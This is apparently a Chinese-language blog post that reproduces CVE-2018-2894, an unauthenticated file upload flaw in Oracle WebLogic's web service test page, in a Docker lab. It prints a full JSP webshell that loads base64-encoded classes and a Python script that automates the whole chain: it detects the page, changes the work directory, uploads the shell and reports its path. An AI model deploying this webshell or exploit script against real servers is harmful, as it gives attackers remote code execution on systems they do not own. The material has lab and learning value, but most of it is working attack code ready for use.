CVE-2018-2894WebLogic未授权任意文件上传

news/2024/11/13 4:10:23/

CVE-2018-2894WebLogic未授权任意文件上传

这个洞的限制就比较多了

限制版本

Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3

限制配置

该漏洞的影响模块为web服务测试页,在默认情况下不启用
/ws_utc/config.do
/ws_utc/begin.do

默认情况下不启用的意思就是,这个洞看脸,管理员开没开这个模式,不过现在基本上就没有了应该

但是还是尝试复现一下,所以手动开启

登录控制台-》base_domain-》高级-》勾选启用Web服务测试页 -》保存

登陆就直接ip:7001/console就跳转到登陆页面了

登陆的账号密码

docker-compose logs | grep password

image-20230413162356031

  1. 直接在kali上拉取镜像

    weblogic:172.20.0.2:7001

  2. 登陆开启Web服务测试页

    image-20230413162741535

    别忘了保存

  3. 接下来模拟攻击,换个没登陆的浏览器访问

    /ws_utc/config.do

    设置Work Home Dir为

    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

    image-20230413162956960

  4. 准备jsp webshell

    连接密码passwd

    原帖地址:https://blog.csdn.net/qq_43615820/article/details/116357744

    <%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
    %>
    <%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
    %>
    
  5. 上传,注意先开burp再上传,回包中查看时间戳,文件在http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

    image-20230413163836638

    image-20230413164524265

  6. 访问一句话木马看看传没传上去

    http://192.168.27.137:7001/ws_utc/css/config/keystore/1681375502098_passwd.jsp

    image-20230413164709603

  7. 蚁剑连接

    image-20230413164754026

    成功getshell

接下来尝试写个py脚本

挑战自己!

经过前面的复现,我认为利用漏洞其实主要在未授权的一个页面

http://192.168.27.137:7001/ws_utc/config.do

后来查了一下如何检测是否开启测试页面

http://192.168.27.137:7001/ws_utc/resources/setting/options/general 如果成功访问到该页面证明开启了

image-20230413170154503

开写!

import re
import requests
def text(host):payload1="http://"+host+"/ws_utc/resources/setting/options/general" #拼接地址header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'}#搞个ua省的被防爬虫干掉try:req=requests.get(payload1,headers=header)if req.status_code == 404 : #状态码检测 404 说明不存在该漏洞exit("{} 不存在CVE-2018-2894".format(host))elif "</defaultValue>" in req.text:print("存在该漏洞")return 1except:exit("error host")

来解释一下这个函数,非常简单,直接发一个请求给/ws_utc/resources/setting/options/general,如果回包的状态码是404则漏洞不存在,如果存在关键词则说明漏洞可能存在

第二步,修改路径,先手动修改一下抓个包,看看传到那了,传什么了

image-20230413191154693

发现上传路径与参数,直接开些

def change_path(host):data={"setting_id":"general", 		     "BasicConfigOptions.workDir":"/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css","BasicConfigOptions.proxyHost":"","BasicConfigOptions.proxyPort":"80"}payload = "http://" + host + "/ws_utc/resources/setting/options"  # 拼接地址header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'}  # 搞个ua省的被防爬虫干掉print(payload)try:req = requests.post(payload,headers=header,data=data)if req.status_code == 200:  #return "修改成功"else:exit("错误")except:exit("error host")

定义data 把抓到的包中的参数写进来,注意workDir,要写

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

定义payload,把目标地址拿下来

直接发包,状态码如果为200,则修改成功

第三步!上传文件!

还是老套路,先手动传一个,看看目标地址和参数

image-20230413192057804

看到如上的参数,再看看目标地址

image-20230413192139912

看到这个地址我一惊,这有个时间戳,那还得动态获取这个地址,但是!我放到重发器里试了一下,发现这玩意没啥用,那就直接搞代码吧!

def upload_jsp(host):payload = "http://" + host + "/ws_utc/resources/setting/keystore"  # 拼接地址file={"ks_name":"a","ks_edit_mode":"false","ks_password_front":"1","ks_password":"1","ks_password_changed":"true","ks_filename":"passwd.jsp",'file': open('./need/passwd.jsp', 'rb')}header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'}request = requests.post(payload, files=file)response = request.textmatch = re.findall("<id>(.*?)</id>", response)if match:tid = match[-1]shell_path = "http://"+host + "/ws_utc/css/config/keystore/" +str(tid) + "_passwd.jsp"if requests.get(shell_path,headers=header).status_code==200:print("{} 存在 CVE-2018-2894".format(host))print("webshell path:{}".format(shell_path))else:print("[-] {} don't exists CVE-2018-2894".format(host))

这里面值得说的:
file中最后一个参数要导入木马文件哦

前面说到上传文件的命名是时间戳_文件名,使用正则匹配获取这个id,但是观察数据包发现回包中有所有文件的id,所以取最后一个(新上传的),match[-1]

然后发包,发包后访问一下shell页面,如果状态码为200,则可能上传成功,发出提示,如果没有则说明上传失败

最后!写个主函数

if __name__=='__main__':host="" #例子 192.168.0.17:7001if text(host)==1:change_path(host)upload_jsp(host)else:exit()

这个就没啥好说的了,用VPS开了一个靶场,跑一下试试

image-20230413193153442

image-20230413193416776

成功咯!


http://www.ppmy.cn/news/85113.html

相关文章

UnityVR--组件3--Line Renderer--线性渲染

目录 线性渲染组件简介 绘制线条Line Renderer组件介绍 绘制拖尾Trail Renderer组件介绍 应用1&#xff1a;使用Line Renderer绘制线段 应用1实现&#xff1a;使用系统工具或自定义工具绘制线段 应用2&#xff1a;Trail Renderer简单制作子弹拖尾效果 应用3&#xff1a;…

day12 - 图像修复

在图像处理的过程中&#xff0c;经常会遇到图像存在多余的线条或者噪声的情况&#xff0c;对于这种情况我们会先对图像进行预处理&#xff0c;去除掉对图形内容有影响的噪声&#xff0c;在进行后续的处理。 本节实验我们介绍使用图像膨胀来处理图形的多余线条&#xff0c;进行…

软件测试完后,运行后还有BUG,测试人员就应该背锅吗?

测试完成后还有bug&#xff0c;测试人员肯定是有责任的&#xff0c;第一时间要赶紧处理而不是着急甩锅。但是这口锅全部扣测试身上&#xff0c;明显也是不能接受的&#xff0c;关键在于测试人员需要找出足够的证据来保护自己。 或许很多人会说测试不可能发现所有的bug&#xf…

从索引结点出发探索软、硬链接

索引结点的初步认识 对于整个计算机系统的资源管理&#xff0c;我们可以认为&#xff0c;OS先将这些资源的数据信息&#xff0c;给描述起来构成一个部分&#xff0c;然后再将它们组织起来&#xff0c;就能够实现由OS集中管理。举一个最经典的例子&#xff0c;进程的引入是为了…

算法Day16 | 104.二叉树的最大深度,559.n叉树的最大深度, 111.二叉树的最小深度,222.完全二叉树的节点个数

Day16 104.二叉树的最大深度559.n叉树的最大深度111.二叉树的最小深度222.完全二叉树的节点个数 104.二叉树的最大深度 题目链接&#xff1a; 104.二叉树的最大深度 深度和高度相反。 高度&#xff0c;自然是从下向上数&#xff1a;叶子节点是第一层&#xff0c;往上数&#x…

【C语言】常用内置函数汇总

printf()&#xff1a;输出函数&#xff0c;用于在屏幕上显示文本或变量的值。 scanf()&#xff1a;输入函数&#xff0c;用于从键盘上获取用户输入的数据。 strlen()&#xff1a;字符串长度函数&#xff0c;用于计算一个字符串的长度。 strcpy()&#xff1a;字符串复制函数&…

AI 生成第7篇测试文章:测试数据需要怎么准备?

背景 测试数据是软件测试过程中至关重要的组成部分。一般来说&#xff0c;测试数据并不是随机生成的数据&#xff0c;而是经过精心设计和构造的数据&#xff0c;以确保软件系统可以完整地进行测试。在本文中&#xff0c;我们将探讨如何准备测试数据。 准备测试数据 1.理解测…

你还不知道~~这个是什么意思吗,还以为是作者写错了

文章目录 前言一、来个例子二、按位非~三、小知识 前言 主要是来学习一下js中运算符的相关的知识 一、来个例子 ~~(Math.random() * 10)看起来像是要获取随机数的。 我们先把括号内的东西粘到控制台看看&#xff1a; 结果&#xff1a; (Math.random() * 10) //4.47062635057…